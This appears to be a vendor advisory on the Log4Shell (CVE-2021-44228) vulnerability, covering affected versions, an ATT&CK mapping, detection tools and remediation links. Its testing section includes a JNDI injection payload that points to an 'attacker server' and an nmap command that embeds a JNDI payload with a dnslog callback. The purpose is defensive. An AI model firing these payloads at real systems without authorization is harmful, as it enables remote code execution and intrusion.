NST CYBER
DEFEND FORWARD

www.nstcyber.ai

Log4J RCE/Log4Shell

All you need to know to understand, discover, remediate and respond

The dangerous Remote Code Execution(RCE) vulnerability discovered in Apache Log4J library is one of the the most widespread vulnerabilities in recent years.

Attacks in wild

More than 1.2 million attacks globally since disclosure.

What is targeted

Anything exposed to the internet use that Log4j like applications, servers, SaaS services, developer tools and security devices can be targeted.

Impact Scenario

- Disclosure of sensitive information.
- Addition or modification of data.
- Denial of Service (DoS).
- Literally anything

Dangerous Mutations

60 plus and growing mutations of the exploits reported till now that may allow bypass of protections.

What is the vulnerability ?

On Thursday 9th of December a previously unknown zero day RCE vulnerability was reported on twitter.

How the attack is executed ?

Attackers use specific user-controlled strings to make the application server that use Log4j log and eventually execute dangerous operations.

What Versions are affected ?

Almost all version starting from 2.0-beta9 to 2.14.1 are vulnerable. Latest mitigated version is 2.16.0.

What is Log4j ?

- Most chosen log framework for Java Applications.
- 100's of Millions of Applications and Products using it makes it ubiquitous.

Why it is Dangerous ?

- This Java Naming and Dierctory Interface (JNDI) injection allows attackers to run any software they want on the server.
- Makes it possible for the attacker to take over the server, applications or services.

Ease of Exploitation

Relatively easy to exploit as attacker only need the ability to control strings that will get logged via Log4j. Exploitable over HTTP/HTTPS.

Embedded Usage

Embedded usage of the Log4j library in COTS applications, IOT devices, Network and security hardware devices brings in the remediation management dependency.

Assocaited CVEs and CVSS

CVE	Severity	CVSS
CVE-2021-44228	CRITICAL	10
CVE 2021-45046	MODERATE	3.7

MITRE ATT&CK Mapping

Tactic	Technique-Subtechnique
INITIAL ACCESS	T1190-Exploit Public-Facing Application
EXECUTION	T1203-Exploitation for Client Execution T1059-Command and Scripting Interpreters
LATERAL MOVEMENT	T1021.002 -Remote Services: SMB/Windows Admin Shares
CREDENTIAL ACCESS	T1003.008-Credential Dumping: /etc/passwd and letc/shadow
IMPACT	T1496-Resource Hijacking T1498-Network Denial of Service

Test and identify whether you are vulnerable

- Analyze the internet exposed application threat surface with commercial infrastructure vulnerability management solutions and web application scanner offered specific plugins or rules for Log4Shell detection.
- Use community scanning solutions like Nuclei's specific YAML rules for Log4Shell detection.
- Use custom version specific detection scripts.
- Use Nmap NSE scripts like nse-log4shell to issue the requests to services the and then check DNS logs to determine vulnerability.
- Use the Log4Shell scanning plugins available in Burp Suite Pro BApp Store.
- Use manual testing methods like;

  Sending a request to the server to be tested through any supported protocols (HTTP/HTTPS or any) with a malicious payload like ${jndi:ldap://x.x.x.x/a} where x.x.x.x is the attacker server and analyze or record the response back from the server via Java Naming and Directory Interface (JNDI) with the path to the remote Java class file as a POC which will be injected into the server to execute arbitrary code in next phase if full exploitation is in scope.

Example Plugins/Rules/Scripts

Qualys QIDs

- Search for CVE-2021-44228 and CVE-2021-45046 here https://community.qualys.com/vulnerability-detection-pipeline/?_ga=2.56716898.936225784.1600688746-1216279407.1568315641

Nessus Scanner Plugin IDs

- 156999,156002,156000,156001,156032,156038,155998,156014,156026,156021,156017,156016,156018,156015,156035

Nuclei scanner YAML rules

- https://github.com/numanturle/Log4jNuclei/blob/main/log4j-detect.yaml
- https://github.com/numanturle/Log4jNuclei/blob/main/log4j-detect-waf.yaml

nse-log4shell to issue the requests

- nmap -v --script=http-log4shell,ssh-log4shell,imap-log4shell "--script-args=log4shell.payload=\"${jndi:ldap://{{target}}.xxxx.dnslog.cn}\"" -T4 -n -p22,80 --script-timeout=1m scanme.nmap.org

Log4J Scanner

- https://github.com/fullhunt/log4j-scan

Remediation

Implement the recommendation steps suggested in;

- https://logging.apache.org/log4j/2.x/security.html

Enable proactive detection of attacks in SIEM with the below SIGMA rule

- https://github.com/SigmaHQ/sigma/blob/master/rules/web/web_cve_2021_44228_log4j_fields.yml

Check for Indicators of Exploitation

- Check local log files for indicators of exploitation attempts with https://github.com/Neo23x0/log4shell-detector

Check Out the Apache Log4j Vulnerability Guidance page of CISA for consolidated collection of recommendations from vendors and service providers

- https://www.cisa.gov/uscert/apache-log4j-vulnerability-guidance

List of affected vendors:

- https://gist.github.com/SwitHak/b66db3a06c2955a9cb71a8718970c592
- https://github.com/YfryTchsGD/Log4jAttackSurface
- https://github.com/NCSCNL/log4shell/tree/main/software